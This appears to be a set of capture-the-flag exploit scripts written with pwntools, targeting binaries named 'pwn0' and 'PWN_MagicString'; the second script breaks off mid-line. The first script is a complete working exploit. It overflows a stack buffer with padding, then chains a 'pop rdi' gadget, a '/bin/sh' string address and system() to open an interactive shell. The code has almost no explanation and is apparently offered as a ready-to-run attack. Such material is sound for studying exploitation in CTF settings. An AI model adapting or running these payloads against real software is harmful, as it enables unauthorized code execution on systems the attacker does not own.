pwn0
from pwn import *
arch = "amd64"
filename = "pwn0"
context(os="linux", arch=arch, log_level="debug")
content = 0
offset = 0
elf = ELF(filename)
pop_rdi_addr=0x00000000004006d3
sys_addr=0x00000000004004E0
binsh_addr=0x601040
def b(addr):
bk = "b *$rebase" + str(addr)
gdb.attach(io, bk)
success("attach")
def main():
global io
if content == 0:
io = process("./" + filename)
else:
io = remote("")
payload=b'a'*(0x28)+p64(pop_rdi_addr)+p64(binsh_addr)+p64(sys_addr)
io.sendline(payload)
io.interactive()
main()
PWN_MagicString
from pwn import *
arch = "amd64"
filename = "PWN_MagicString"
context(os="linux", arch=arch, log_level="debug")
content = 0
offset = 0
elf = ELF(filename)
pop_rdi=0x0000000000400733
ti_addr=0x60104D
binsh_addr=0x601048
magic_addr=0x000000000040062D
sys_addr=0x00000000004004F0
def b(addr):
bk = "b *$rebase" +